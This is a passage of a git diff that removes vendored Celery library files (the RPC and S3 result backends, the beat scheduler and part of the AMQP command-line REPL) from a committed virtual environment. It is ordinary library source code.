sentinel_instance - - def _get_pool(self, **params): - sentinel_instance = self._get_sentinel_instance(**params) - - master_name = self._transport_options.get("master_name", None) - - credentials = { - k: params[k] for k in ("username", "password") if k in params - } - - return sentinel_instance.master_for( - service_name=master_name, - redis_class=self._get_client(), - **credentials, - ).connection_pool diff --git a/venv/Lib/site-packages/celery/backends/rpc.py b/venv/Lib/site-packages/celery/backends/rpc.py deleted file mode 100644 index 577eb7d404fa970e260cfb27ca87039083945c21..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/rpc.py +++ /dev/null @@ -1,401 +0,0 @@ -"""The ``RPC`` result backend for AMQP brokers. - -RPC-style result backend, using reply-to and one queue per client. -""" -import logging -import time - -import kombu -from kombu.common import maybe_declare -from kombu.utils.compat import register_after_fork -from kombu.utils.objects import cached_property - -from celery import states -from celery._state import current_task, task_join_will_block - -from . import base -from .asynchronous import AsyncBackendMixin, BaseResultConsumer - -__all__ = ('BacklogLimitExceeded', 'RPCBackend') - -logger = logging.getLogger(__name__) - -E_NO_CHORD_SUPPORT = """ -The "rpc" result backend does not support chords! - -Note that a group chained with a task is also upgraded to be a chord, -as this pattern requires synchronization. - -Result backends that supports chords: Redis, Database, Memcached, and more. -""" - - -class BacklogLimitExceeded(Exception): - """Too much state history to fast-forward.""" - - -def _on_after_fork_cleanup_backend(backend): - backend._after_fork() - - -class ResultConsumer(BaseResultConsumer): - Consumer = kombu.Consumer - - _connection = None - _consumer = None - _no_ack = True - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._create_binding = self.backend._create_binding - - def start(self, initial_task_id, no_ack=True, **kwargs): - self._no_ack = no_ack - self._connection = self.app.connection() - self._connection_errors = ( - self._connection.connection_errors - + self._connection.channel_errors - ) - initial_queue = self._create_binding(initial_task_id) - self._consumer = self.Consumer( - self._connection.default_channel, [initial_queue], - callbacks=[self.on_state_change], no_ack=no_ack, - accept=self.accept) - self._consumer.consume() - - def drain_events(self, timeout=None): - if self._connection: - with self.reconnect_on_error(): - return self._connection.drain_events(timeout=timeout) - elif timeout: - time.sleep(timeout) - - def _reconnect(self): - """Close the stale connection and rebuild the consumer. - - Re-subscribes to every queue that the old consumer was listening on - so that pending results can still be drained. - """ - logger.warning( - 'RPC result consumer: connection lost, attempting to reconnect...', - exc_info=True, - ) - old_queues = [] - if self._consumer is not None: - old_queues = list(self._consumer.queues) - try: - self._consumer.cancel() - except Exception: - logger.debug( - 'RPC result consumer: error while cancelling stale ' - 'consumer during reconnect', - exc_info=True, - ) - - if self._connection is not None: - try: - self._connection.close() - except Exception: - logger.debug( - 'RPC result consumer: error while closing stale ' - 'connection during reconnect', - exc_info=True, - ) - self._connection = None - - # Establish a fresh connection and consumer. - self._connection = self.app.connection() - self._connection_errors = ( - self._connection.connection_errors - + self._connection.channel_errors - ) - self._consumer = self.Consumer( - self._connection.default_channel, - old_queues, - callbacks=[self.on_state_change], - no_ack=self._no_ack, - accept=self.accept, - ) - self._consumer.consume() - logger.info('RPC result consumer: reconnected successfully.') - - def stop(self): - try: - self._consumer.cancel() - finally: - self._connection.close() - - def on_after_fork(self): - self._consumer = None - if self._connection is not None: - self._connection.collect() - self._connection = None - - def consume_from(self, task_id): - if self._consumer is None: - return self.start(task_id) - queue = self._create_binding(task_id) - if not self._consumer.consuming_from(queue): - self._consumer.add_queue(queue) - self._consumer.consume() - - def cancel_for(self, task_id): - if self._consumer: - self._consumer.cancel_by_queue(self._create_binding(task_id).name) - - -class RPCBackend(base.Backend, AsyncBackendMixin): - """Base class for the RPC result backend.""" - - Exchange = kombu.Exchange - Producer = kombu.Producer - ResultConsumer = ResultConsumer - - #: Exception raised when there are too many messages for a task id. - BacklogLimitExceeded = BacklogLimitExceeded - - persistent = False - supports_autoexpire = True - supports_native_join = True - - retry_policy = { - 'max_retries': 20, - 'interval_start': 0, - 'interval_step': 1, - 'interval_max': 1, - } - - class Consumer(kombu.Consumer): - """Consumer that requires manual declaration of queues.""" - - auto_declare = False - - class Queue(kombu.Queue): - """Queue that never caches declaration.""" - - can_cache_declaration = False - - def __init__(self, app, connection=None, exchange=None, exchange_type=None, - persistent=None, serializer=None, auto_delete=True, **kwargs): - super().__init__(app, **kwargs) - conf = self.app.conf - self._connection = connection - self._out_of_band = {} - self.persistent = self.prepare_persistent(persistent) - self.delivery_mode = 2 if self.persistent else 1 - exchange = exchange or conf.result_exchange - exchange_type = exchange_type or conf.result_exchange_type - self.exchange = self._create_exchange( - exchange, exchange_type, self.delivery_mode, - ) - self.serializer = serializer or conf.result_serializer - self.auto_delete = auto_delete - self.result_consumer = self.ResultConsumer( - self, self.app, self.accept, - self._pending_results, self._pending_messages, - ) - if register_after_fork is not None: - register_after_fork(self, _on_after_fork_cleanup_backend) - - def _after_fork(self): - # clear state for child processes. - self._pending_results.clear() - self.result_consumer._after_fork() - - def _create_exchange(self, name, type='direct', delivery_mode=2): - # uses direct to queue routing (anon exchange). - return self.Exchange(None) - - def _create_binding(self, task_id): - """Create new binding for task with id.""" - # RPC backend caches the binding, as one queue is used for all tasks. - return self.binding - - def ensure_chords_allowed(self): - raise NotImplementedError(E_NO_CHORD_SUPPORT.strip()) - - def on_task_call(self, producer, task_id): - # Called every time a task is sent when using this backend. - # We declare the queue we receive replies on in advance of sending - # the message, but we skip this if running in the prefork pool - # (task_join_will_block), as we know the queue is already declared. - if not task_join_will_block(): - maybe_declare(self.binding(producer.channel), retry=True) - - def destination_for(self, task_id, request): - """Get the destination for result by task id. - - Returns: - Tuple[str, str]: tuple of ``(reply_to, correlation_id)``. - """ - # Backends didn't always receive the `request`, so we must still - # support old code that relies on current_task. - try: - request = request or current_task.request - except AttributeError: - raise RuntimeError( - f'RPC backend missing task request for {task_id!r}') - return request.reply_to, request.correlation_id or task_id - - def on_reply_declare(self, task_id): - # Return value here is used as the `declare=` argument - # for Producer.publish. - # By default we don't have to declare anything when sending a result. - pass - - def on_result_fulfilled(self, result): - # This usually cancels the queue after the result is received, - # but we don't have to cancel since we have one queue per process. - pass - - def as_uri(self, include_password=True): - return 'rpc://' - - def store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Send task return value and state.""" - routing_key, correlation_id = self.destination_for(task_id, request) - if not routing_key: - return - with self.app.amqp.producer_pool.acquire(block=True) as producer: - producer.publish( - self._to_result(task_id, state, result, traceback, request), - exchange=self.exchange, - routing_key=routing_key, - correlation_id=correlation_id, - serializer=self.serializer, - retry=True, retry_policy=self.retry_policy, - declare=self.on_reply_declare(task_id), - delivery_mode=self.delivery_mode, - ) - return result - - def _to_result(self, task_id, state, result, traceback, request): - return { - 'task_id': task_id, - 'status': state, - 'result': self.encode_result(result, state), - 'traceback': traceback, - 'children': self.current_task_children(request), - } - - def on_out_of_band_result(self, task_id, message): - # Callback called when a reply for a task is received, - # but we have no idea what to do with it. - # Since the result is not pending, we put it in a separate - # buffer: probably it will become pending later. - if self.result_consumer: - self.result_consumer.on_out_of_band_result(message) - self._out_of_band[task_id] = message - - def get_task_meta(self, task_id, backlog_limit=1000): - buffered = self._out_of_band.pop(task_id, None) - if buffered: - return self._set_cache_by_message(task_id, buffered) - - # Polling and using basic_get - latest_by_id = {} - prev = None - for acc in self._slurp_from_queue(task_id, self.accept, backlog_limit): - tid = self._get_message_task_id(acc) - prev, latest_by_id[tid] = latest_by_id.get(tid), acc - if prev: - # backends aren't expected to keep history, - # so we delete everything except the most recent state. - prev.ack() - prev = None - - latest = latest_by_id.pop(task_id, None) - for tid, msg in latest_by_id.items(): - self.on_out_of_band_result(tid, msg) - - if latest: - latest.requeue() - return self._set_cache_by_message(task_id, latest) - else: - # no new state, use previous - try: - return self._cache[task_id] - except KeyError: - # result probably pending. - return {'status': states.PENDING, 'result': None} - poll = get_task_meta # XXX compat - - def _set_cache_by_message(self, task_id, message): - payload = self._cache[task_id] = self.meta_from_decoded( - message.payload) - return payload - - def _slurp_from_queue(self, task_id, accept, - limit=1000, no_ack=False): - with self.app.pool.acquire_channel(block=True) as (_, channel): - binding = self._create_binding(task_id)(channel) - binding.declare() - - for _ in range(limit): - msg = binding.get(accept=accept, no_ack=no_ack) - if not msg: - break - yield msg - else: - raise self.BacklogLimitExceeded(task_id) - - def _get_message_task_id(self, message): - try: - # try property first so we don't have to deserialize - # the payload. - return message.properties['correlation_id'] - except (AttributeError, KeyError): - # message sent by old Celery version, need to deserialize. - return message.payload['task_id'] - - def revive(self, channel): - pass - - def reload_task_result(self, task_id): - raise NotImplementedError( - 'reload_task_result is not supported by this backend.') - - def reload_group_result(self, task_id): - """Reload group result, even if it has been previously fetched.""" - raise NotImplementedError( - 'reload_group_result is not supported by this backend.') - - def save_group(self, group_id, result): - raise NotImplementedError( - 'save_group is not supported by this backend.') - - def restore_group(self, group_id, cache=True): - raise NotImplementedError( - 'restore_group is not supported by this backend.') - - def delete_group(self, group_id): - raise NotImplementedError( - 'delete_group is not supported by this backend.') - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__(args, dict( - kwargs, - connection=self._connection, - exchange=self.exchange.name, - exchange_type=self.exchange.type, - persistent=self.persistent, - serializer=self.serializer, - auto_delete=self.auto_delete, - expires=self.expires, - )) - - @property - def binding(self): - return self.Queue( - self.oid, self.exchange, self.oid, - durable=False, - auto_delete=True, - expires=self.expires, - ) - - @cached_property - def oid(self): - # cached here is the app thread OID: name of queue we receive results on. - return self.app.thread_oid diff --git a/venv/Lib/site-packages/celery/backends/s3.py b/venv/Lib/site-packages/celery/backends/s3.py deleted file mode 100644 index e53bd84a7f2b639480b6b6990045d63ffb2c69b6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/backends/s3.py +++ /dev/null @@ -1,87 +0,0 @@ -"""s3 result store backend.""" - -from kombu.utils.encoding import bytes_to_str - -from celery.exceptions import ImproperlyConfigured - -from .base import KeyValueStoreBackend - -try: - import boto3 - import botocore -except ImportError: - boto3 = None - botocore = None - - -__all__ = ('S3Backend',) - - -class S3Backend(KeyValueStoreBackend): - """An S3 task result store. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`boto3` is not available, - if the :setting:`aws_access_key_id` or - setting:`aws_secret_access_key` are not set, - or it the :setting:`bucket` is not set. - """ - - def __init__(self, **kwargs): - super().__init__(**kwargs) - - if not boto3 or not botocore: - raise ImproperlyConfigured('You must install boto3 ' - 'to use s3 backend') - conf = self.app.conf - - self.endpoint_url = conf.get('s3_endpoint_url', None) - self.aws_region = conf.get('s3_region', None) - - self.aws_access_key_id = conf.get('s3_access_key_id', None) - self.aws_secret_access_key = conf.get('s3_secret_access_key', None) - - self.bucket_name = conf.get('s3_bucket', None) - if not self.bucket_name: - raise ImproperlyConfigured('Missing bucket name') - - self.base_path = conf.get('s3_base_path', None) - - self._s3_resource = self._connect_to_s3() - - def _get_s3_object(self, key): - key_bucket_path = self.base_path + key if self.base_path else key - return self._s3_resource.Object(self.bucket_name, key_bucket_path) - - def get(self, key): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - try: - s3_object.load() - data = s3_object.get()['Body'].read() - return data if self.content_encoding == 'binary' else data.decode('utf-8') - except botocore.exceptions.ClientError as error: - if error.response['Error']['Code'] == "404": - return None - raise error - - def set(self, key, value): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - s3_object.put(Body=value) - - def delete(self, key): - key = bytes_to_str(key) - s3_object = self._get_s3_object(key) - s3_object.delete() - - def _connect_to_s3(self): - session = boto3.Session( - aws_access_key_id=self.aws_access_key_id, - aws_secret_access_key=self.aws_secret_access_key, - region_name=self.aws_region - ) - if session.get_credentials() is None: - raise ImproperlyConfigured('Missing aws s3 creds') - return session.resource('s3', endpoint_url=self.endpoint_url) diff --git a/venv/Lib/site-packages/celery/beat.py b/venv/Lib/site-packages/celery/beat.py deleted file mode 100644 index fbda26e9f42b6e54d4b81f175cf4438d5821ddad..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/beat.py +++ /dev/null @@ -1,738 +0,0 @@ -"""The periodic task scheduler.""" - -import copy -import dbm -import errno -import heapq -import os -import shelve -import sys -import time -import traceback -from calendar import timegm -from collections import namedtuple -from functools import total_ordering -from pickle import UnpicklingError -from threading import Event, Thread - -from billiard import ensure_multiprocessing -from billiard.common import reset_signals -from billiard.context import Process -from kombu.utils.functional import maybe_evaluate, reprcall -from kombu.utils.objects import cached_property - -from . import __version__, platforms, signals -from .exceptions import reraise -from .schedules import crontab, maybe_schedule -from .utils.functional import is_numeric_value -from .utils.imports import load_extension_class_names, symbol_by_name -from .utils.log import get_logger, iter_open_logger_fds -from .utils.time import humanize_seconds, maybe_make_aware - -__all__ = ( - 'SchedulingError', 'ScheduleEntry', 'Scheduler', - 'PersistentScheduler', 'Service', 'EmbeddedService', -) - -event_t = namedtuple('event_t', ('time', 'priority', 'entry')) - -logger = get_logger(__name__) -debug, info, error, warning = (logger.debug, logger.info, - logger.error, logger.warning) - -DEFAULT_MAX_INTERVAL = 300 # 5 minutes - - -class SchedulingError(Exception): - """An error occurred while scheduling a task.""" - - -class BeatLazyFunc: - """A lazy function declared in 'beat_schedule' and called before sending to worker. - - Example: - - beat_schedule = { - 'test-every-5-minutes': { - 'task': 'test', - 'schedule': 300, - 'kwargs': { - "current": BeatCallBack(datetime.datetime.now) - } - } - } - - """ - - def __init__(self, func, *args, **kwargs): - self._func = func - self._func_params = { - "args": args, - "kwargs": kwargs - } - - def __call__(self): - return self.delay() - - def delay(self): - return self._func(*self._func_params["args"], **self._func_params["kwargs"]) - - -@total_ordering -class ScheduleEntry: - """An entry in the scheduler. - - Arguments: - name (str): see :attr:`name`. - schedule (~celery.schedules.schedule): see :attr:`schedule`. - args (Tuple): see :attr:`args`. - kwargs (Dict): see :attr:`kwargs`. - options (Dict): see :attr:`options`. - last_run_at (~datetime.datetime): see :attr:`last_run_at`. - total_run_count (int): see :attr:`total_run_count`. - relative (bool): Is the time relative to when the server starts? - """ - - #: The task name - name = None - - #: The schedule (:class:`~celery.schedules.schedule`) - schedule = None - - #: Positional arguments to apply. - args = None - - #: Keyword arguments to apply. - kwargs = None - - #: Task execution options. - options = None - - #: The time and date of when this task was last scheduled. - last_run_at = None - - #: Total number of times this task has been scheduled. - total_run_count = 0 - - def __init__(self, name=None, task=None, last_run_at=None, - total_run_count=None, schedule=None, args=(), kwargs=None, - options=None, relative=False, app=None): - self.app = app - self.name = name - self.task = task - self.args = args - self.kwargs = kwargs if kwargs else {} - self.options = options if options else {} - self.schedule = maybe_schedule(schedule, relative, app=self.app) - self.last_run_at = last_run_at or self.default_now() - self.total_run_count = total_run_count or 0 - - def default_now(self): - return self.schedule.now() if self.schedule else self.app.now() - _default_now = default_now # compat - - def _next_instance(self, last_run_at=None): - """Return new instance, with date and count fields updated.""" - return self.__class__(**dict( - self, - last_run_at=last_run_at or self.default_now(), - total_run_count=self.total_run_count + 1, - )) - __next__ = next = _next_instance # for 2to3 - - def __reduce__(self): - return self.__class__, ( - self.name, self.task, self.last_run_at, self.total_run_count, - self.schedule, self.args, self.kwargs, self.options, - ) - - def update(self, other): - """Update values from another entry. - - Will only update "editable" fields: - ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. - """ - self.__dict__.update({ - 'task': other.task, 'schedule': other.schedule, - 'args': other.args, 'kwargs': other.kwargs, - 'options': other.options, - }) - - def is_due(self): - """See :meth:`~celery.schedules.schedule.is_due`.""" - return self.schedule.is_due(self.last_run_at) - - def __iter__(self): - return iter(vars(self).items()) - - def __repr__(self): - return '<{name}: {0.name} {call} {0.schedule}'.format( - self, - call=reprcall(self.task, self.args or (), self.kwargs or {}), - name=type(self).__name__, - ) - - def __lt__(self, other): - if isinstance(other, ScheduleEntry): - # How the object is ordered doesn't really matter, as - # in the scheduler heap, the order is decided by the - # preceding members of the tuple ``(time, priority, entry)``. - # - # If all that's left to order on is the entry then it can - # just as well be random. - return id(self) < id(other) - return NotImplemented - - def editable_fields_equal(self, other): - for attr in ('task', 'args', 'kwargs', 'options', 'schedule'): - if getattr(self, attr) != getattr(other, attr): - return False - return True - - def __eq__(self, other): - """Test schedule entries equality. - - Will only compare "editable" fields: - ``task``, ``schedule``, ``args``, ``kwargs``, ``options``. - """ - return self.editable_fields_equal(other) - - -def _evaluate_entry_args(entry_args): - if not entry_args: - return [] - return [ - v() if isinstance(v, BeatLazyFunc) else v - for v in entry_args - ] - - -def _evaluate_entry_kwargs(entry_kwargs): - if not entry_kwargs: - return {} - return { - k: v() if isinstance(v, BeatLazyFunc) else v - for k, v in entry_kwargs.items() - } - - -class Scheduler: - """Scheduler for periodic tasks. - - The :program:`celery beat` program may instantiate this class - multiple times for introspection purposes, but then with the - ``lazy`` argument set. It's important for subclasses to - be idempotent when this argument is set. - - Arguments: - schedule (~celery.schedules.schedule): see :attr:`schedule`. - max_interval (int): see :attr:`max_interval`. - lazy (bool): Don't set up the schedule. - """ - - Entry = ScheduleEntry - - #: The schedule dict/shelve. - schedule = None - - #: Maximum time to sleep between re-checking the schedule. - max_interval = DEFAULT_MAX_INTERVAL - - #: How often to sync the schedule (3 minutes by default) - sync_every = 3 * 60 - - #: How many tasks can be called before a sync is forced. - sync_every_tasks = None - - _last_sync = None - _tasks_since_sync = 0 - - logger = logger # compat - - def __init__(self, app, schedule=None, max_interval=None, - Producer=None, lazy=False, sync_every_tasks=None, **kwargs): - self.app = app - self.data = maybe_evaluate({} if schedule is None else schedule) - self.max_interval = (max_interval or - app.conf.beat_max_loop_interval or - self.max_interval) - self.Producer = Producer or app.amqp.Producer - self._heap = None - self.old_schedulers = None - self.sync_every_tasks = ( - app.conf.beat_sync_every if sync_every_tasks is None - else sync_every_tasks) - if not lazy: - self.setup_schedule() - - def install_default_entries(self, data): - entries = {} - if self.app.conf.result_expires and \ - not self.app.backend.supports_autoexpire: - if 'celery.backend_cleanup' not in data: - entries['celery.backend_cleanup'] = { - 'task': 'celery.backend_cleanup', - 'schedule': crontab('0', '4', '*'), - 'options': {'expires': 12 * 3600}} - self.update_from_dict(entries) - - def apply_entry(self, entry, producer=None): - info('Scheduler: Sending due task %s (%s)', entry.name, entry.task) - try: - result = self.apply_async(entry, producer=producer, advance=False) - except Exception as exc: # pylint: disable=broad-except - error('Message Error: %s\n%s', - exc, traceback.format_stack(), exc_info=True) - else: - if result and hasattr(result, 'id'): - debug('%s sent. id->%s', entry.task, result.id) - else: - debug('%s sent.', entry.task) - - def adjust(self, n, drift=-0.010): - if n and n > 0: - return n + drift - return n - - def is_due(self, entry): - return entry.is_due() - - def _when(self, entry, next_time_to_run, mktime=timegm): - """Return a utc timestamp, make sure heapq in correct order.""" - adjust = self.adjust - - as_now = maybe_make_aware(entry.default_now()) - - return (mktime(as_now.utctimetuple()) + - as_now.microsecond / 1e6 + - (adjust(next_time_to_run) or 0)) - - def populate_heap(self, event_t=event_t, heapify=heapq.heapify): - """Populate the heap with the data contained in the schedule.""" - priority = 5 - self._heap = [] - for entry in self.schedule.values(): - is_due, next_call_delay = entry.is_due() - self._heap.append(event_t( - self._when( - entry, - 0 if is_due else next_call_delay - ) or 0, - priority, entry - )) - heapify(self._heap) - - # pylint disable=redefined-outer-name - def tick(self, event_t=event_t, min=min, heappop=heapq.heappop, - heappush=heapq.heappush): - """Run a tick - one iteration of the scheduler. - - Executes one due task per call. - - Returns: - float: preferred delay in seconds for next call. - """ - adjust = self.adjust - max_interval = self.max_interval - - if (self._heap is None or - not self.schedules_equal(self.old_schedulers, self.schedule)): - self.old_schedulers = copy.copy(self.schedule) - self.populate_heap() - - H = self._heap - - if not H: - return max_interval - - event = H[0] - entry = event[2] - is_due, next_time_to_run = self.is_due(entry) - if is_due: - verify = heappop(H) - if verify is event: - next_entry = self.reserve(entry) - self.apply_entry(entry, producer=self.producer) - heappush(H, event_t(self._when(next_entry, next_time_to_run), - event[1], next_entry)) - return 0 - else: - heappush(H, verify) - return min(verify[0], max_interval) - adjusted_next_time_to_run = adjust(next_time_to_run) - return min(adjusted_next_time_to_run if is_numeric_value(adjusted_next_time_to_run) else max_interval, - max_interval) - - def schedules_equal(self, old_schedules, new_schedules): - if old_schedules is new_schedules is None: - return True - if old_schedules is None or new_schedules is None: - return False - if set(old_schedules.keys()) != set(new_schedules.keys()): - return False - for name, old_entry in old_schedules.items(): - new_entry = new_schedules.get(name) - if not new_entry: - return False - if new_entry != old_entry: - return False - return True - - def should_sync(self): - return ( - (not self._last_sync or - (time.monotonic() - self._last_sync) > self.sync_every) or - (self.sync_every_tasks and - self._tasks_since_sync >= self.sync_every_tasks) - ) - - def reserve(self, entry): - new_entry = self.schedule[entry.name] = next(entry) - return new_entry - - def apply_async(self, entry, producer=None, advance=True, **kwargs): - # Update time-stamps and run counts before we actually execute, - # so we have that done if an exception is raised (doesn't schedule - # forever.) - entry = self.reserve(entry) if advance else entry - task = self.app.tasks.get(entry.task) - - try: - entry_args = _evaluate_entry_args(entry.args) - entry_kwargs = _evaluate_entry_kwargs(entry.kwargs) - if task: - return task.apply_async(entry_args, entry_kwargs, - producer=producer, - **entry.options) - else: - return self.send_task(entry.task, entry_args, entry_kwargs, - producer=producer, - **entry.options) - except Exception as exc: # pylint: disable=broad-except - reraise(SchedulingError, SchedulingError( - "Couldn't apply scheduled task {0.name}: {exc}".format( - entry, exc=exc)), sys.exc_info()[2]) - finally: - self._tasks_since_sync += 1 - if self.should_sync(): - self._do_sync() - - def send_task(self, *args, **kwargs): - return self.app.send_task(*args, **kwargs) - - def setup_schedule(self): - self.install_default_entries(self.data) - self.merge_inplace(self.app.conf.beat_schedule) - - def _do_sync(self): - try: - debug('beat: Synchronizing schedule...') - self.sync() - finally: - self._last_sync = time.monotonic() - self._tasks_since_sync = 0 - - def sync(self): - pass - - def close(self): - self.sync() - - def add(self, **kwargs): - entry = self.Entry(app=self.app, **kwargs) - self.schedule[entry.name] = entry - return entry - - def _maybe_entry(self, name, entry): - if isinstance(entry, self.Entry): - entry.app = self.app - return entry - return self.Entry(**dict(entry, name=name, app=self.app)) - - def update_from_dict(self, dict_): - self.schedule.update({ - name: self._maybe_entry(name, entry) - for name, entry in dict_.items() - }) - - def merge_inplace(self, b): - schedule = self.schedule - A, B = set(schedule), set(b) - - # Remove items from disk not in the schedule anymore. - for key in A ^ B: - schedule.pop(key, None) - - # Update and add new items in the schedule - for key in B: - entry = self.Entry(**dict(b[key], name=key, app=self.app)) - if schedule.get(key): - schedule[key].update(entry) - else: - schedule[key] = entry - - def _ensure_connected(self): - # callback called for each retry while the connection - # can't be established. - def _error_handler(exc, interval): - error('beat: Connection error: %s. ' - 'Trying again in %s seconds...', exc, interval) - - return self.connection.ensure_connection( - _error_handler, self.app.conf.broker_connection_max_retries - ) - - def get_schedule(self): - return self.data - - def set_schedule(self, schedule): - self.data = schedule - schedule = property(get_schedule, set_schedule) - - @cached_property - def connection(self): - return self.app.connection_for_write() - - @cached_property - def producer(self): - return self.Producer(self._ensure_connected(), auto_declare=False) - - @property - def info(self): - return '' - - -class PersistentScheduler(Scheduler): - """Scheduler backed by :mod:`shelve` database.""" - - persistence = shelve - known_suffixes = ('', '.db', '.dat', '.bak', '.dir') - - _store = None - - def __init__(self, *args, **kwargs): - self.schedule_filename = kwargs.get('schedule_filename') - super().__init__(*args, **kwargs) - - def _remove_db(self): - for suffix in self.known_suffixes: - with platforms.ignore_errno(errno.ENOENT): - os.remove(self.schedule_filename + suffix) - - def _open_schedule(self): - return self.persistence.open(self.schedule_filename, writeback=True) - - def _destroy_open_corrupted_schedule(self, exc): - error('Removing corrupted schedule file %r: %r', - self.schedule_filename, exc, exc_info=True) - self._remove_db() - return self._open_schedule() - - def setup_schedule(self): - try: - self._store = self._open_schedule() - # In some cases there may be different errors from a storage - # backend for corrupted files. Example - DBPageNotFoundError - # exception from bsddb. In such case the file will be - # successfully opened but the error will be raised on first key - # retrieving. - self._store.keys() - except Exception as exc: # pylint: disable=broad-except - self._store = self._destroy_open_corrupted_schedule(exc) - - self._create_schedule() - - tz = self.app.conf.timezone - stored_tz = self._store.get('tz') - if stored_tz is not None and stored_tz != tz: - warning('Reset: Timezone changed from %r to %r', stored_tz, tz) - self._store.clear() # Timezone changed, reset db! - utc = self.app.conf.enable_utc - stored_utc = self._store.get('utc_enabled') - if stored_utc is not None and stored_utc != utc: - choices = {True: 'enabled', False: 'disabled'} - warning('Reset: UTC changed from %s to %s', - choices[stored_utc], choices[utc]) - self._store.clear() # UTC setting changed, reset db! - entries = self._store.setdefault('entries', {}) - self.merge_inplace(self.app.conf.beat_schedule) - self.install_default_entries(self.schedule) - self._store.update({ - '__version__': __version__, - 'tz': tz, - 'utc_enabled': utc, - }) - self.sync() - debug('Current schedule:\n' + '\n'.join( - repr(entry) for entry in entries.values())) - - def _create_schedule(self): - for _ in (1, 2): - try: - self._store['entries'] - except (KeyError, UnicodeDecodeError, TypeError, UnpicklingError): - # new schedule db - try: - self._store['entries'] = {} - except (KeyError, UnicodeDecodeError, TypeError, UnpicklingError) + dbm.error as exc: - self._store = self._destroy_open_corrupted_schedule(exc) - continue - else: - if '__version__' not in self._store: - warning('DB Reset: Account for new __version__ field') - self._store.clear() # remove schedule at 2.2.2 upgrade. - elif 'tz' not in self._store: - warning('DB Reset: Account for new tz field') - self._store.clear() # remove schedule at 3.0.8 upgrade - elif 'utc_enabled' not in self._store: - warning('DB Reset: Account for new utc_enabled field') - self._store.clear() # remove schedule at 3.0.9 upgrade - break - - def get_schedule(self): - return self._store['entries'] - - def set_schedule(self, schedule): - self._store['entries'] = schedule - schedule = property(get_schedule, set_schedule) - - def sync(self): - if self._store is not None: - self._store.sync() - - def close(self): - self.sync() - self._store.close() - - @property - def info(self): - return f' . db -> {self.schedule_filename}' - - -class Service: - """Celery periodic task service.""" - - scheduler_cls = PersistentScheduler - - def __init__(self, app, max_interval=None, schedule_filename=None, - scheduler_cls=None): - self.app = app - self.max_interval = (max_interval or - app.conf.beat_max_loop_interval) - self.scheduler_cls = scheduler_cls or self.scheduler_cls - self.schedule_filename = ( - schedule_filename or app.conf.beat_schedule_filename) - - self._is_shutdown = Event() - self._is_stopped = Event() - - def __reduce__(self): - return self.__class__, (self.app, self.max_interval, - self.schedule_filename, self.scheduler_cls) - - def start(self, embedded_process=False): - info('beat: Starting...') - debug('beat: Ticking with max interval->%s', - humanize_seconds(self.scheduler.max_interval)) - - signals.beat_init.send(sender=self) - if embedded_process: - signals.beat_embedded_init.send(sender=self) - platforms.set_process_title('celery beat') - - try: - while not self._is_shutdown.is_set(): - interval = self.scheduler.tick() - if interval and interval > 0.0: - debug('beat: Waking up %s.', - humanize_seconds(interval, prefix='in ')) - time.sleep(interval) - if self.scheduler.should_sync(): - self.scheduler._do_sync() - except (KeyboardInterrupt, SystemExit): - self._is_shutdown.set() - finally: - self.sync() - - def sync(self): - self.scheduler.close() - self._is_stopped.set() - - def stop(self, wait=False): - info('beat: Shutting down...') - self._is_shutdown.set() - wait and self._is_stopped.wait() # block until shutdown done. - - def get_scheduler(self, lazy=False, - extension_namespace='celery.beat_schedulers'): - filename = self.schedule_filename - aliases = dict(load_extension_class_names(extension_namespace)) - return symbol_by_name(self.scheduler_cls, aliases=aliases)( - app=self.app, - schedule_filename=filename, - max_interval=self.max_interval, - lazy=lazy, - ) - - @cached_property - def scheduler(self): - return self.get_scheduler() - - -class _Threaded(Thread): - """Embedded task scheduler using threading.""" - - def __init__(self, app, **kwargs): - super().__init__() - self.app = app - self.service = Service(app, **kwargs) - self.daemon = True - self.name = 'Beat' - - def run(self): - self.app.set_current() - self.service.start() - - def stop(self): - self.service.stop(wait=True) - - -try: - ensure_multiprocessing() -except NotImplementedError: # pragma: no cover - _Process = None -else: - class _Process(Process): - - def __init__(self, app, **kwargs): - super().__init__() - self.app = app - self.service = Service(app, **kwargs) - self.name = 'Beat' - - def run(self): - reset_signals(full=False) - platforms.close_open_fds([ - sys.__stdin__, sys.__stdout__, sys.__stderr__, - ] + list(iter_open_logger_fds())) - self.app.set_default() - self.app.set_current() - self.service.start(embedded_process=True) - - def stop(self): - self.service.stop() - self.terminate() - - -def EmbeddedService(app, max_interval=None, **kwargs): - """Return embedded clock service. - - Arguments: - thread (bool): Run threaded instead of as a separate process. - Uses :mod:`multiprocessing` by default, if available. - """ - if kwargs.pop('thread', False) or _Process is None: - # Need short max interval to be able to stop thread - # in reasonable time. - return _Threaded(app, max_interval=1, **kwargs) - return _Process(app, max_interval=max_interval, **kwargs) diff --git a/venv/Lib/site-packages/celery/bin/__init__.py b/venv/Lib/site-packages/celery/bin/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/celery/bin/amqp.py b/venv/Lib/site-packages/celery/bin/amqp.py deleted file mode 100644 index b42b1dae813bce2f3db45492f1845dc4442cabac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/bin/amqp.py +++ /dev/null @@ -1,312 +0,0 @@ -"""AMQP 0.9.1 REPL.""" - -import pprint - -import click -from amqp import Connection, Message -from click_repl import register_repl - -__all__ = ('amqp',) - -from celery.bin.base import handle_preload_options - - -def dump_message(message): - if message is None: - return 'No messages in queue. basic.publish something.' - return {'body': message.body, - 'properties': message.properties, - 'delivery_info': message.delivery_info} - - -class AMQPContext: - def __init__(self, cli_context): - self.cli_context = cli_context - self.connection = self.cli_context.app.connection() - self.channel = None - self.reconnect() - - @property - def app(self): - return self.cli_context.app - - def respond(self, retval): - if isinstance(retval, str): - self.cli_context.echo(retval) - else: - self.cli_context.echo(pprint.pformat(retval)) - - def echo_error(self, exception): - self.cli_context.error(f'{self.cli_context.ERROR}: {exception}') - - def echo_ok(self): - 